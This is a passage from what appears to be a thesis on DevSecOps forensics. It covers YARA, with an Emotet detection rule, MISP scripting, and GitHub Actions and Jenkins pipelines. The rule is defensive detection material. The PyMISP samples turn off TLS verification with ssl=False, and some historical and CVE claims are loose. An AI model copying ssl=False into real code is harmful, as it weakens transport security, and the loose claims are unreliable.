executing rules against known and (allegedly) clean software—such as clean OS installations—
and known malware and analyzing match statistics to refine string patterns and thresholds[32].
A sample testing invocation using the YARA executable is:

yara -t all -r rules/heavy_scanner.yar test_samples/

yara: finished scanning 500 files, 3 rules triggered

yara: rule Suspicious_PE_Import triggered 7 times in trojan.exe

yara: rule PE_Header_Check triggered 500 times

[32]

Targeted Rule Sets In practice, organizations develop layered YARA suites addressing both
generic rules and campaign-specific detection, according to the current security landscape status.
A generic rule might capture any executable with anomalous section names using a regular expres-
sion, whereas a family rule could search for unique code sequences or specific known encryption
routines[32]. For instance, Emotet is a malware strain and a cybercrime operation believed to be
based in Ukraine. The malware, also known as Heodo, was first detected in 2014 and distributed
mostly through phishing and spam emails. A rule targeting specifically the Emotet malware
family[33] can include both static byte patterns and dynamic heuristic checks:
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rule Emotets{
meta:

author = "pekeinfo"
date = "2017-10-18"
description = "Emotets"

strings:
$mz = { 4d 5a }
$cmovnz={ 0f 45 fb 0f 45 de }
$mov_esp_0={ C7 04 24 00 00 00 00 89 44 24 0? }
$_eax={ 89 E? 8D ?? 24 ?? 89 ?? FF D0 83 EC 04 }

condition:
($mz at 0 and $_eax in( 0x2854..0x4000)) and ($cmovnz or $mov_esp_0)

}

2.5.2 Malware Information Sharing Platform (MISP)

The Malware Information Sharing Platform (MISP) is an open-source threat intelligence plat-
form that is intended to enhance structured collection, enrichment, and collaborative exchange of
Indicators of Compromise (IoCs) and related threat metadata among adaptable trust networks.
A big JSON-based data structure containing Events, Attributes, and Objects, each one depicting
unique aspects of a security event, is at the heart of MISP. The correlation engine of the system
functions in real-time, revealing concealed correlations between everyday data, thus allowing ad-
versary tactics to be understood more profoundly. Moreover, a comprehensive API interface and
open taxonomy structure facilitate full automation and standardization across environments[34].

MISP organizes threat data with Events, which are containers for all the data pertaining to
a particular incident or campaign. Each Event has metadata, including descriptive “info" fields,
classification parameters, and tagging mechanisms. Within these Events, Attributes are the most
basic unit of intelligence, which are IP addresses, file hashes, domain names, email headers, and
registry keys. These are defined using a human-readable structured JSON format that can be
processed automatically. For declaring more complex relationships, MISP utilizes Objects, which
are orderly sets of linked Attributes. An example is a file object that may include filename,
size, and additional cryptographic hashes (MD5, SHA1, SHA256), thus enabling the storage of
sufficient contextual information in a modular format. The correlation engine incessantly calcu-
lates all incoming or modified Attributes, creating automatic relationships whenever matching or
comparable values are discovered among Events. This facilitates the identification of instances of
campaign intersection, borrowed infrastructure, or malicious tools being used in varying stages of
an attack cycle[34].

In order to supply consistency in interpretation and annotation, MISP relies on a taxon-
omy framework. Taxonomies are structured as controlled vocabularies and manifest as machine-
readable tags that can be attached to Events or Attributes. They are representations of structured
threat groups, such as specific malware families, APT groups, or MITRE ATT&CK tactics, and
provide analysts with a higher-order perspective of the operational environment. For example, a
Galaxy cluster could be used to link a chain of Events to the “APT28" actor while also specifying
techniques such as “T1082 - System Information Discovery." MISP is designed to support deep
automation via a RESTful API providing access to a complete range of functions—i.e., creat-
ing, querying, updating, and deleting Events, Attributes, and their related metadata. PyMISP,
an official Python wrapper for the API, also facilitates automation via a simple object-oriented
interface[35]. The following script demonstrates how to retrieve the ten most recent Events and
loop through their Attributes:

from pymisp import ExpandedPyMISP

misp = ExpandedPyMISP(’https://misp.example.org’, ’YOUR_API_KEY’, ssl=False)
recent_events = misp.search_index(sort=’date_desc’, limit=10)
for event in recent_events:

full_event = misp.get_event(event[’id’])
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print(f"Event {full_event.id}: {full_event.info}")
for attr in full_event.Event.Attribute:

print(f" {attr.type} -> {attr.value}")

Through the use of those scripts, MISP automates the harvesting, prioritization, and sharing of
intelligence feeds, thereby reducing manual intervention and enhancing security operations in real
time.

In federation and interoperability terms, MISP has native support for Structured Threat Infor-
mation Expression (STIX) 1.x and 2.x, including TAXII transport protocols. Native JSON Events
can be exported to STIX-compliant documents, including complex relationships and metadata
structures, using the MISP-STIX Converter[35].

These bundles can be exported after conversion to TAXII servers or consumed by third-
party SIEM and SOAR solutions. The MISP TAXII Server initiative provides more flexibility in
interacting with various sharing communities and national CERT infrastructures[35].

The platform’s reporting engine also enhances operational transparency and collaboration
through an integrated Markdown editor for formatted threat intelligence reporting. The analysts
have the possibility to create comprehensive incident reports that fuse IoC summaries, attack
timelines, and enrichment findings directly in the web interface. The reports can be downloaded
as PDF or Markdown files to facilitate threat briefings, post-incident reviews, or historic audits. To
manage the sharing of intelligence with clearance communities, MISP defines several distribution
levels and sharing communities. These models enable fine-grained control over the distribution of
data, thus making sure that sensitive data gets distributed according to the trust policies defined
by the originator’s organization[34].

To give a concrete example, it’s possible to monitor the response to a phishing campaign. An
analyst adds a new event called “Phishing-XYZ Campaign," includes attributes like the phishing
URL and IP address of origin, and attaches a Galaxy cluster marking the threat as “Phishing." A
PyMISP automatic script then looks for recent events tagged with “phishing", consolidates their
information, and e-mails a summary to security stakeholders[36].

from pymisp import ExpandedPyMISP, MISPEvent, MISPAttribute
import smtplib

misp = ExpandedPyMISP(’https://misp.example.org’, ’API_KEY’, ssl=False)
phish_events = misp.search_index(tags=’phishing’, limit=5)
report_lines = []
for evt in phish_events:

evt_detail = misp.get_event(evt[’id’])
report_lines.append(f"{evt_detail.info} at {evt_detail.timestamp}")
for attr in evt_detail.Event.Attribute:

report_lines.append(f" {attr.type}: {attr.value}")
message = "\n".join(report_lines)
with smtplib.SMTP(’smtp.example.org’) as smtp:

smtp.sendmail(’misp@org.local’, [’sec-team@org.local’], message)

[36]

2.5.3 Integration and forensic value of MISP, YARA, Splunk, and Falco

The integration of threat intelligence and log analysis tools within a DevSecOps pipeline is not
limited to preventive vulnerability detection alone, but is a crucial component of reactive and
investigative capability in the event of advanced attacks. In particular, tools such as MISP,
YARA, Splunk, and Falco enable, when properly configured, the construction of a forensic-ready
infrastructure capable of collecting, enriching, and making available meaningful information for
post-mortem analysis. The integration point of each tool in the pipeline, its configuration effort,
and its specific utility in forensics are discussed below.
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MISP can be integrated during the build and testing phase, via API queries to search for
Indicators of Compromise (IoCs) in source code, configurations or software dependencies. Its
use provides significant value during investigation, as it enriches technical logs with metadata
from external intelligence, thus enabling correlations between local events and known malicious
campaigns. Integration is technically simple but conceptually complex, as it requires careful
selection and filtering of indicators to avoid overload and false positives. MISP is therefore useful
in forensic pipelines for threat attribution and classification, but it must be used carefully[7].

YARA represents an efficient pattern-matching solution to integrate into the pipeline, especially
in the static analysis phase of generated binaries or artifacts. Its ease of use and the ability to
write custom rules make it a very powerful tool. However, maintaining the rules requires constant
effort, and the investigative value depends on the quality and update of those rules. In forensic
contexts, YARA is particularly useful for retroactive scanning on post-incident images or dumps,
allowing suspicious files to be identified by signature note[32].

Splunk constitutes the central node for evidence analysis and visualization, and is the main
tool for log forensics. It can be integrated into the pipeline by sending events via HEC, either
from security tools (e.g., Semgrep, Trivy, Falco) or from custom scripts. Its advantage lies in
the ability to perform advanced queries (SPL queries) on large volumes of data, build forensic
timelines, and correlate events distributed over time. The operational cost (in terms of licenses
and resources) is high, but is justified by its investigative value, especially in regulated or critical
environments[1].

Falco is designed for the pipeline or container execution phase in production. By monitoring
real-time kernel system calls via eBPF or drivers, it allows detection of abnormal behavior (sus-
picious executions, access to sensitive files, use of dangerous commands). The generated logs are
easily exportable in JSON format and can be sent to Splunk for correlation. Initial configuration
effort is low, but requires rule tuning to reduce noise. In forensics, Falco provides high-fidelity
evidence related to runtime behavior and operational anomalies[37].

Tool Pipeline Phase Effort Forensic Value Comment
MISP Build/Test/Runtime Medium High Necessary filters to avoid

noise
YARA Build/Post-mortem Low Medium Powerful, but rule-

dependant
Splunk Post-build/Runtime High Very High Ideal for correlation and

analysis
Falco Runtime Low Medium-High Requires tuning for rules

Table 2.4. Forensic value comparison

The coordinated integration of these tools allows the DevSecOps pipeline to evolve toward a
continuous investigative model, where logs are not just an auditing tool, but a real evidentiary
basis, useful for identifying, attributing and mitigating even sophisticated attacks.

2.6 CI/CD tools for DevSecOps Pipelines

The implementation of security practices into the software development life cycle is a core idea of
DevSecOps, and CI/CD (Continuous Integration/Continuous Delivery) tools provide the mecha-
nism to implement this process in a systematic way. From a technical perspective, CI/CD tools
serve as orchestration engines solely responsible for delivering, building, testing, and deploying
software. These tools effectively introduce security checks at various stages of the overall process,
thereby turning security from a silo or a “point-in-time" activity to a living and breathing process
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throughout the development cycle, effectively allowing organizations to continuously “shift left"
security into their development lifecycle[38].

The value of CI/CD tools for a technical perspective of DevSecOps implementations is that
they can automate security scanning without interrupting or affecting the developer. By estab-
lishing an ample amount of security gates along the pipeline, developers are able to perform an
unlimited number of automatic triggers on the security scan—i.e. vulnerability scans—static ap-
plication security testing (SAST), dynamic application security testing (DAST), software compo-
sition analysis (SCA); with no human action. Automating security generally ensures that security
policies can remain consistent from application to application by eliminating the variability or
human errors where security can be neglected or overlooked. CI/CD tools can provide visualiza-
tion into security posture through extensive logging and reporting capabilities, allowing a team
to track metrics over time and demonstrate compliance (or non-compliance) with regulationsib..

Nevertheless, CI/CD tools also present certain drawbacks that must be managed within De-
vSecOps. The foremost is the potential for security tool sprawl, where a multitude of scanning
tools, integrations, and presence within the pipeline creates complexities, increases maintenance
costs, and negatively impacts performance. Furthermore, there is no standardization of the out-
puts that the pipeline should produce, and this can generate inconsistencies, requiring parsers
and normalization layers to achieve consistency in reports. A second technical problem is the
management of false positives. Security scanning tools will report potential vulnerabilities to
development teams: if left untriaged, vulnerabilities can lead to “alert fatigue" if they are not
properly contextualized within the pipelineib..

A particularly concerning vulnerability in CI/CD systems is CVE-2025-30066, a critical se-
curity flaw affecting multiple CI/CD platforms that enables pipeline poisoning attacks. This
vulnerability allows attackers to manipulate the CI/CD environment by injecting malicious code
into the build process, potentially compromising not only the application being built but also
the entire deployment infrastructure. The exploit leverages insufficient validation of externally
sourced configuration files, enabling privilege escalation within the pipeline context. Organiza-
tions utilizing CI/CD tools in their DevSecOps pipelines need to urgently ensure that they have
applied all updates and taken all mitigation best practices to protect untrusted code, including
stringent review of pipeline configuration changes, integrity checking of build artifacts, and RASP
solutions to detect intrusions[39].

While many organizations experience such challenges in properly implementing CI/CD tools
into their DevSecOps implementations, the technical benefits typically far outweigh the disadvan-
tages, as long as organizations manage their CI/CD processes properly[38].

2.6.1 GitHub actions

GitHub Actions is a critical development in the CI/CD ecosystem, offering workflow automation
directly in GitHub. GitHub Actions was introduced in 2018 and became generally available to all
GitHub users in 2018. GitHub Actions allows developers to automate their software workflows—
e.g. build, deploy, or even security flows—directly into GitHub repositories, so they do not
need to rely on external CI/CD systems, providing a seamless development experience. GitHub
Actions uses workflows defined in YAML configuration files stored in the .github/workflows
directory of a repository. Workflows are triggered by events in GitHub (e.g., pushes, pull requests,
releases, etc.), which allows GitHub Actions to precisely automate the task needed during the
development process, allowing flexibility for many development approaches, from traditional to
Agile approaches[40].

In GitHub Actions, workflows consist of sequential jobs that are composed of precisely defined
steps. Each step can execute commands or call other actions. Actions are the smallest building
blocks of GitHub Actions workflows. Actions are reusable, modular pieces of code that perform
a specific task. GitHub provides both GitHub-hosted runners (containers that run workflows,
running on GitHub servers), but they also provide the possibility for using easy-to-setup self-
hosted runners, namely virtual machines running on-prem, giving organizations adaptability in
how to deploy their automation servicesib..
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A recent survey analysis on developers’ perception of GitHub Actions interviewed 90 soft-
ware engineers, distinguishing between Action creators (providers) and Action users to uncover
motivations, decision criteria, and challenges in adopting this automation tool. Two interesting
statistics from the survey highlight the benefits of adopting GitHub Actions: 73.91% of develop-
ers use GitHub Actions to automate multiple tasks, such as testing, building, and deployment,
indicating its versatility and widespread utility in streamlining workflows. Additionally, 95.65%
of respondents automate repetitive tasks with GitHub Actions, underscoring its effectiveness in
reducing manual effort and improving efficiency in software development processes[41]. These
findings demonstrate how GitHub Actions enhances productivity by enabling scalable and consis-
tent automation. Organizations with critical infrastructure—such as banks—that have embraced
DevSecOps have adopted GitHub Actions and integrated them with existing security solutions,
such as Fortify and IQ Server, and have created custom actions to implement compliance checks
that are unique to the financial sector, automated assignments of security reviews based on risks,
and customized security gates that block the deployment process if non-compliantib..

GitHub Actions can be considered an extension of the GitHub platform, where millions of
developers already host their code, and it allows developers to keep their code, issues, pull requests,
and CI/CD workflows in the same place. The integration of GitHub Actions into a repository
reduces the overhead costs of switching between different systems during the development process
since developers have at their disposal a centralized platform to perform all of their tasks[40].

Technical Capabilities of GitHub Actions GitHub Actions has a broad range of techni-
cal capabilities to help developers automate nearly any part of their software development life-
cycle. The workflow system allows for quite flexible definitions of automated workflows using
YAML configuration files with their own structure that allows for simple and extremely complex
automation[40].

The workflow syntax allows editors to define when workflows will run using various event
triggers. These event triggers include various code events (push, pull_request), issue and PR
events (issues, issue_comment), repository events (fork, star), and scheduled events using cron
syntax, as well as manual triggering using GitHub UI or API. The event-driven automation enables
precise automation for specific aspects of the development workflow. GitHub Actions workflow
YAML files are composed of multiple layers: the top layer contains the name key that specifies
the name of the workflow. The second layer identifies the triggering events, identified by the on
key (e.g., push, pull request, or a scheduled event via cron). The next layer is where we could
optionally define env to provide global environment variables. The next layer is defined by the
jobs key, which defines the main functionality of the workflow. Each job has an ID associated
with it (e.g., build) and each job must have runs-on to indicate the operating system of the
runner (e.g., ubuntu-latest, or self-hosted). Each job will also contain the steps required for
the job, which may not have any commands/actions, such as uses: actions/checkout@v4 to
check out the repository, or commands that are executed as shell commands, such as run: npm
install[40]. For example, a simple workflow that tests npm code on a push event can be defined
as follows:

name: CI Pipeline
on: [push]
jobs:

test:
runs-on: ubuntu-latest
steps:

- uses: actions/checkout@v4
- run: npm install
- run: npm test

It’s worth noting some of the uncommon keys, namely needs, if, and strategy: their purpose is
to respectively require dependencies, conditionally run a step/job, or create a matrix configuration.
About the last example, it is a powerful tool for GitHub Actions workflows, which has the ability
to build matrix builds, where it is possible to run the same workflow with identical steps and with
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the same functionalities, but with different testing targets. For example, we can test code against
multiple operating systems, multiple language versions, or multiple database configurations all
concurrently. This is an excellent feature for understanding cross-platform compatibility. The
following example describes how the matrix key can be configured to test a Node.js application
with different versions of Node in different operating systems[42]. In this case, it will be tested 9
times, one for each operating system for three different node versions:

jobs:
test:

runs-on: ${{ matrix.os }}
strategy:

matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
node-version: [14.x, 16.x, 18.x]

steps:
- uses: actions/checkout@v3
- name: Use Node.js ${{ matrix.node-version }}

uses: actions/setup-node@v3
with:

node-version: ${{ matrix.node-version }}
- run: npm ci
- run: npm test

[42]

GitHub Runners GitHub Actions workflows utilize runners, which are either GitHub-hosted
or self-hosted. GitHub-hosted runners always start with a fresh operating system environment
for each workflow run, whether it is Ubuntu Linux, Windows, or macOS. These environments
are pre-configured with tools and maintained by GitHub; this implies a low operational burden.
Self-hosted runners provide more flexibility for organizations that have unique requirements; this
is particularly useful for meeting compliance requirements or needing a setup configuration for
proprietary software and hardware. Self-hosted runners are configured as services and can be
grouped and assigned to specific repositories or organizations, which can give fine control over the
workload and resource usage of concurrent pipeline executions[43] [44].

Next, it is worth mentioning the containerization support in GitHub Actions. Workflows
in GitHub Actions can execute Docker containers as their execution environment, providing
consistent and reproducible build environments, which is an extremely natural working prin-
ciple for modern microservices architecture and containerized deployment processes. Actions can
also be containerized, allowing developers to package and share complex behavior in a reusable
manner[40].

Another useful feature is the workflow composition. Organizations can build libraries of
reusable workflows and composite actions that they can share across larger projects within the
same context, so it is possible to standardize actions across teams as well as avoid duplication of
work. This allows for better consistency in builds, tests, and deploys across multiple projects[40].

In the next sections, we will focus on the many technical capabilities that GitHub Actions
provides as a potential DevSecOps tool, namely security, compliance, and governance checks that
could be incorporated into the development workflow.

GitHub Actions in DevSecOps GitHub Actions, as a feature of the DevSecOps development
cycle, has emerged as a leading tool within the DevSecOps world, which integrates security into
every aspect of the software development lifecycle as opposed to focusing on security solely post-
deployment. The ability of the GitHub Actions tools to be extensible and have event triggering
makes them a natural fit for adding policies and automation to security at multiple levels of the
development cycle[40].
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GitHub Actions already contains some built-in security features that can lay the foundation for
DevSecOps best practices. These security features include an effective secrets management layer
that can store sensitive information, such as API keys, passwords, SSL keys, and secured keys
and tokens; and the ability to configure workflow environment protection by requiring approval
for workflows targeting protected environmentsib..

A typical security-focused GitHub Actions workflow might integrate multiple types of security
scanning:

1. Software Composition Analysis (SCA): Identifying and checking open-source depen-
dencies for known vulnerabilities using tools like Trivy, Snyk, and Dependabot; these kind
of tools can automatically create pull requests to update vulnerable dependencies.

2. Static Application Security Testing (SAST): Analyzing source code for static security
vulnerabilities without executing the program. Tools like Fortify, Semgrep and CodeQL can
be integrated directly into GitHub Actions workflows.

3. Dynamic Application Security Testing (DAST): Testing running applications for
vulnerabilities that might not be detectable in static code. This can be implemented through
integration with tools like OWASP ZAP or Intruder.

4. Container Scanning: Checking container images for vulnerabilities in the base image or
installed packages using specialized tools like Trivy or Anchore.

5. Secret Scanning: Identifying accidentally committed secrets like API keys or credentials,
which is available as a native GitHub feature, and it can be integrated within Actions
workflows.

Additionally, GitHub Actions can do more than just conduct scans; it can also automate a variety
of security checks and controls. Policy compliance checks—like IaC scans—can audit that code
and infrastructure definitions meet organizational and industry security policies and standards.
License compliance tools, often performed by SCA tools, can guarantee that the dependencies
have acceptable licenses for use with the project.

These automated checks can be set up as a security gate, so vulnerabilities are identified and
mitigated prior to merging a pull request. This embodies the “shift left" policy of DevSecOps,
where security vulnerabilities are identified before the code is deployed, allowing them to be fixed
in a far easier, cheaper, and faster manner than after they have been deployed to production.
Furthermore, the integration of GitHub Action into the DevOps workflow is a huge leap towards
embedding security as part of the development process, rather than a burden that slows down
the entire software development lifecycleib..

A pipeline example Drawing on successful cases of implementations of GitHub Actions capa-
bilities in DevSecOps environments, some best practices begin to emerge. Organizations should
layer security checks so they apply different types of scanning that cover different classes of
vulnerabilities. A good practice is to perform security checks on every pull request; as this is
sometimes highly resource-consuming, a more comprehensive scan has to be performed only on
all main branches. For risk thresholds, where it is possible to have separate risk thresholds for
each different component, they should be chosen based on the risk profile of the component itself;
therefore, critical services should require stricter controls related to their security requirements.
Additionally, automated remediation should be adopted where possible through the utilization of
GitHub-provided functionalities, for example, using Dependabot to create pull requests that fix
security vulnerabilities in dependencies. Security findings should produce reports in the proper
format—like SARIF—which is able to provide developers context in order to fix the found issues.
Third-party actions should be called and pinned to a specific version (e.g., SHA or version) in order
to prevent supply chain attacks. Security gates should be carefully configured for actions/deploys
to production or other sensitive environments. It follows a YAML workflow that demonstrates
many of these best practices: it runs automatically on code changes to the main branch, performs
scheduled comprehensive scans, applies multiple types of security analysis, and generates reports
for security review. The pipeline fails immediatly when critical issues are detected, preventing
insecure code from progressing further in the development lifecycle[45] [46] [47].
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name: DevSecOps Pipeline with Trivy and Security Gates

on:
push:

branches:
- main

pull_request:
branches:

- ’**’ # Scan all PRs, but adjust scan depth based on branch (see jobs)
schedule:

- cron: ’0 0 * * *’ # Daily comprehensive scan for main branch

permissions:
contents: read
security-events: write
pull-requests: write # For automated fixes (e.g., Dependabot integration)

jobs:
# Lightweight scan for PRs (fast feedback)
pr-scan:

if: github.event_name == ’pull_request’
runs-on: ubuntu-latest
steps:

- name: Checkout code
uses: actions/checkout@v4 # (pinned to avoid supply chain risks)

- name: Run lightweight SAST (e.g., for secrets/critical vulns)
uses: aquasecurity/trivy-action@0.18 # Pinned to exact version
with:

scan-type: ’fs’
severity: ’CRITICAL’
format: ’sarif’
output: ’trivy-pr-results.sarif’
ignore-unfixed: true
exit-code: 1 # Fail fast on critical issues

- name: Upload results to GitHub Security
uses: github/codeql-action/upload-sarif@v3
with:

sarif_file: ’trivy-pr-results.sarif’

# Comprehensive scan for main branch (scheduled or push)
full-scan:

if: github.event_name == ’push’ || github.event_name == ’schedule’
runs-on: ubuntu-latest
needs: pr-scan # Optional: chain jobs if PR checks pass first
steps:

- name: Checkout code
uses: actions/checkout@v4

- name: Set up Java 17
uses: actions/setup-java@v3
with:

java-version: ’17’
distribution: ’temurin’

- name: Build with Gradle
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run: ./gradlew build

- name: Build Docker image
run: docker build -t microservice:${{ github.sha }} .

- name: Full Trivy scan (container + dependencies)
uses: aquasecurity/trivy-action@0.18
with:

image-ref: microservice:${{ github.sha }}
scan-type: ’image,config,fs’ # Layered checks
severity: ’HIGH,CRITICAL’
format: ’sarif’
output: ’trivy-full-results.sarif’
ignore-unfixed: false # Report all vulnerabilities for review

- name: Upload full scan results
uses: github/codeql-action/upload-sarif@v3
with:

sarif_file: ’trivy-full-results.sarif’

- name: Fail if critical vulns found (security gate)
if: ${{ failure() }} # Triggers if Trivy exits with code 1
run: |

echo "Critical vulnerabilities detected. Blocking deployment."
exit 1

# Optional: Auto-remediation (e.g., Dependabot-like PRs)
# Uncomment if using Dependabot or similar for dependency updates
# auto-fix:
# runs-on: ubuntu-latest
# steps:
# - name: Check for fixable vulns
# uses: actions/dependency-review-action@v3

Limitations While GitHub Actions is a sophisticated tool for managing DevSecOps processes,
several limitations and vulnerabilities could be exploited by attackers that must be addressed for
a secure CI/CD process. A good understanding of the issues of securing GitHub Actions is strictly
necessary to build effective mitigations.

Like any software platform, GitHub Actions has been affected by security vulnerabilities.
To be specific, CVE-2023-49291 allowed attackers to use this vulnerability to steal secrets from
or abuse GITHUB_TOKEN permissions, which could have led to remote code execution (RCE).
CVE-2025-30066 allows information disclosure of secrets, including, but not limited to, valid
access keys, GitHub Personal Access Tokens (PATs), npm tokens, and private RSA keys through
actions logs[39]. Additionally, older versions of GitHub Actions were heavily affected by command
injection vulnerabilities because they would allow external input to be executed in the runner
environment.

In addition to the CVEs that are identified above, GitHub Actions also has architectural
limitations from a security perspective. Any user who can submit a pull request to a repository
may be able to make changes to the workflow files in case their code is merged into the repository,
unless those changes are properly vetted. With self-hosted runners, it is up to the organizations
to secure their environments, which adds new attack surfaces and considerations for organizations
implementing this solution[45]. Moreover, there are thousands of actions that are created by the
community in the GitHub Marketplace. While GitHub verifies some creators, a lot of actions have
not undergone a security review to test for potential security issues or malicious code. Moreover,
writing a YAML file for workflows is a complex and delicate operation, and, as a result, paired with
a possible developer’s inexperience, it can lead to subtle, but critical, security misconfigurations.
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Developers often rely on Q&A forums to write their YAML files[41], not taking into account that
some answers may not be considering whether the YAML file is secure or not.

GitHub Actions has some significant limitations regarding threat detection capabilities. Na-
tively, it does not provide built-in monitoring of workflow logs at runtime, where security can be
compromised and any signals of abnormal behavior can be missed. Secret scanning of repositories
is built-in to GitHub; however, it’s not guaranteed that GitHub will also scan workflow runs for
accidentally exposed secrets in the logs. Additionally, action workflows may have no validation
for external actions, Docker images, and scripts, while at the same time, there is a virtually in-
finite amount of supply chain attack vectors: if there is a compromise of the workflow, there are
native capabilities to react to it that are quite limited, making it difficult to recognize any lateral
movement attempts within the GitHub environment[48].

Security-relevant events within GitHub-provided logs lack the necessary granularity for valu-
able forensic analysis. It’s essential to realize that CI/CD pipeline security has to be enhanced
by integrating third-party security monitoring tools and threat intelligence tools. By missing this
kind of external integration, organizations risk critical blind spots in their general security pos-
ture, as they may miss critical indicators of compromise or lateral movement within their GitHub
environment[48].

Integration with threat intelligence tools The enhancements achieved by connecting Splunk
with GitHub Actions for forensic purposes are one of the main points of this thesis. Actual vis-
ibility into CI/CD workflows can build a trust relationship when the audits consist of rigorous,
detailed trails and can help security teams to employ proactive threat detection methods. Tradi-
tional GitHub Actions workflows lack retention of logs that are typical of forensics tools and lack
valuable context during security incidents. By utilizing Splunk’s HTTP Event Collector (HEC) or
packages like splunk/event-collector-action—which are available from the GitHub Actions
marketplace—teams can configure workflows to capture specific metadata such as job status, any
repository changes, commit information, and workflow logs, then send it to Splunk for indexing.
Once ingested by Splunk, security teams can search, aggregate, and correlate CI/CD activity with
other security data stored within Splunk for both general and specific forensic investigations or
audits. Additionally, it is possible to search in Splunk for anomalies such as unauthorized pushes
of code to a repository, unexpected failures of workflows, or suspicious downloads of artifacts by
means of alerts. In particular, Splunk’s risk-based alerting framework can flag high-risk events
and automatically trigger adaptive responses like suspending pipelines or revoking access and
GITHUB_TOKEN(s)[49].

The solution proposed in this thesis addresses forensic gaps in GitHub Actions by incorporating
threat detection capabilities and detailed audit features in GitHub Actions workflows, utilizing
self-hosted runners, and connecting them to Splunk and MISP services.

2.6.2 Jenkins

Jenkins, a leading enterprise-grade open-source automation server, has become one of the most
popular tools in modern CI/CD workflows. The project began in 2011 as a community-driven
successor to the Hudson project (which dates back to 2004) and has significantly influenced the
standardization of CI/CD practices across various organizations. Initially focused on basic inte-
gration tasks, it rapidly expanded into a versatile system for managing complex and heterogeneous
workflows[50]. In 2013, a major update introduced Jenkins Plugin, a suite of plugins for code-
based pipeline definitions, while the 2016 Jenkins 2.0 update provided a user-friendly interface.
Subsequent development followed the industry shift towards containerization and cloud-native
environments in the form of Jenkins X. Jenkins, as it is essentially a server, operates through a
centralized controller that manages job schedules and provides a user interface, while distributed
worker nodes handle all task executions across multiple environmentsib.. Users can configure
workflows either through web-based interfaces (stored as XML) or through code-based pipelines
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using Apache Groovy syntax6. One of the most relevant features of Jenkins is its modular plugin
ecosystem, which offers thousands of extensions for various workflow integrations. Plugins are
written both by community collaborators and by its specialized team, which also focuses on plat-
form improvements, user experience, and technical documentation. Supporting tools like Jenkins
X for Kubernetes deployments and configuration-as-code utilities further enhance its capabili-
tiesib..

Technical Capabilities of Jenkins The technical capabilities of Jenkins are extensive, as
it offers a diverse set of technical capabilities able to satisfy most of the needs of the industry,
revealing itself as the leading software in enterprise CI/CD environments. These functionalities
range from basic build automation to sophisticated pipeline orchestration, and the vast ecosys-
tem of plugins further extends its functionalities. In particular, one of Jenkins’ most significant
improvements was the development of the Pipeline as Code concept. This kind of configuration
was implemented through the use of Jenkinsfiles, which allow defining build pipelines with text
so that they can be committed alongside the application code, providing several benefits:

• Version control for pipeline definitions.

• Self-documentation of the build and deployment process.

• Durability of pipeline stages, enabling persistence between Jenkins controller restarts.

• Support for parallel execution paths, maximizing resource utilization and minimizing build
times.

Jenkinsfiles can be written in two syntaxes: Declarative Pipeline, which offers a more structured
approach with predefined sections (i.e., Build, Test, and Deploy), and Scripted Pipeline, which
provides more flexibility for complex logic. Both approaches enable defining sophisticated pipelines
that can model complex build, test, and deployment processes, each one with its own strength
points.

In Declarative Pipeline syntax, the pipeline block defines all the work done throughout your
entire pipeline. The declarative syntax, written in Groovy, looks like this:

pipeline {
agent any

stages {
stage(’Build’) {

steps {
sh ’make’ // executes the given shell command

}
}
stage(’Test’) {

steps {
sh ’make check’
junit ’reports/**/*.xml’

}
}
stage(’Deploy’) {

steps {
sh ’make publish’

}
}

}
}

6As stated on their website, “Apache Groovy is a multi-faceted language for the JVM. It aims to provide a
Java-like feel and syntax but with added productivity features."
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Scripted Pipelines differ from Declarative syntax in the fact that one or more node blocks do
the core work throughout the entire Pipeline. Although this is not a mandatory requirement, it
mainly provides two benefits:

• Schedules the steps contained within the block to run by adding an item to the Jenkins
queue. As soon as an executor is free on a node, the steps will run.

• Creates a workspace (a directory specific to that particular Pipeline) where work can be
done on files checked out from source control.

Here instead is an example of a Jenkinsfile using Scripted Pipeline syntax:

node {
stage(’Build’) {

sh ’make’
}
stage(’Test’) {

sh ’make check’
junit ’reports/**/*.xml’

}
if (currentBuild.currentResult == ’SUCCESS’) {

stage(’Deploy’) {
sh ’make publish’ //

}
}

}

Every information in this section can be verified with the official Jenkins documentation[51].

Jenkins plugin ecosystem The vast number of community-distributed Jenkins plugins is one
of its greatest features, with over 2,000 plugins available. Plugins can significantly extend its
functionalities, enabling integration with most publicly available tools or platforms in the software
development environment. Among the most widely utilized are source control management plugins
for Git and Subversion, build tool integrations with Make, Maven, and Gradle, extensive support
for platforms like iOS, .NET, and Android development, code quality tool integrations, container
and cloud platform plugins, notification and reporting capabilities, security and authentication
extensions, and even user interface extensions. This provides organizations the ability to tailor
Jenkins capabilities to their specific needs, making it possible to meet all requirements while
integrating it seamlessly with their existing toolchain. Plugin development requires following a
well-defined and precisely documented API, allowing developers to create custom plugins when
existing ones do not meet their needs[51].

Moreover, Jenkins’ distributed build architecture allows it to scale to support large develop-
ment teams and complex build requirements. As we briefly introduced earlier, this architecture
consists of a controller (master) that coordinates builds, while agents (nodes) execute build jobs.
Agents can be permanent (long-lived machines dedicated to running builds), dynamic (provi-
sioned on-demand in cloud environments), SSH-connected (remote machines connected via SSH),
or JNLP-connected (agents that initiate the connection to the controller). Agents can be config-
ured with different capabilities (labels), allowing jobs to target specific environments. For example,
a mobile development project might require builds on multiple operating systems (e.g., different
versions of Android OS and simultaneously all major iOS versions) or specific hardware resources.
For enterprise developments, Jenkins supports cloud-based dynamic provisioning of agents, allow-
ing it to scale resources up and down based on demand through plugins for platforms like AWS,
Azure, Google Cloud, and Kubernetesib..
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Jenkins in DevSecOps Jenkins is undoubtedly the most popular tool among DevSecOps tools,
boasting 38.06% of the market share and being ranked #1 [52]. Its extensibility through plugins
and scriptable pipelines makes it particularly well-suited for implementing security automation,
as security requirements are ever-changing and always in need of new features to be deployed.

In addition to security-related plugins, Jenkins provides built-in security features that form
the foundation for robust CI/CD pipelines. It supports all major authentication mechanisms,
including Jenkins’ own user database for username/password authentication, LDAP/Active Di-
rectory integration, SAML, and OAuth for single sign-on; role-based access control is facilitated
through plugins. The Jenkins Credentials plugin offers a secure method to store and utilize sen-
sitive information such as usernames and passwords, SSH keys, and API keys. Moreover, Jenkins
can be configured to provide a detailed view of logs, enabling the auditing of user actions and
system events, a necessary capability for security monitoring and threat intelligence[51].

A significant security consideration in Jenkins deployments is the protection of the Jenkins
server itself. Research by Censys states that “As of January 30, 2024, Censys has observed 83,509
Jenkins servers on the internet, 79,952 ( 96%) of which are potentially vulnerable" [52]. This is a
crucial point, as securing Jenkins itself is a vital step to take before even beginning development.
For instance, CVE-2024-23897, a critical vulnerability affecting Jenkins, was effectively exploited
